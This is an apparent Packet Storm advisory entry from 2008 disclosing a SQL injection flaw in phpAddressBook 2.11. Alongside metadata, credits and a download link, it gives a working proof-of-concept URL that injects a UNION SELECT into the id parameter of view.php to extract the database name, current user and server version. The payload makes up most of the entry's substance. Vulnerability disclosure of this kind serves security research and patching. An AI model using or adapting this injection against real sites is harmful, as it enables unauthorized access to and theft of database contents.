phpaddressbook211-sql.txt

2008-04-14T00:00:00
ID PACKETSTORM:65447
Type packetstorm
Reporter Cr@zy_King
Modified 2008-04-14T00:00:00

Description

                                        
                                            `[~] phpAddressBook Remote Sql İnj. Vuln.  
  
[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip  
  
[~] Version : All My Version  
  
[~] Founder: Cr@zy_King  
  
[~] HomePage: http://coderx.org  
  
[~] Greatz : str0ke & All My Friends  
  
[~] Contact: crazy_kinq@hotmail.co.uk  
  
[~] PoC:  
  
http://www.xxx.org/view.php?id=-1+union+select+1,2,3,convert(concat(database(),char(58),user(),char(58),version()),char),5,6,7,8,9,10,11,12/*  
  
---------------------  
http://coderx.org  
---------------------  
  
`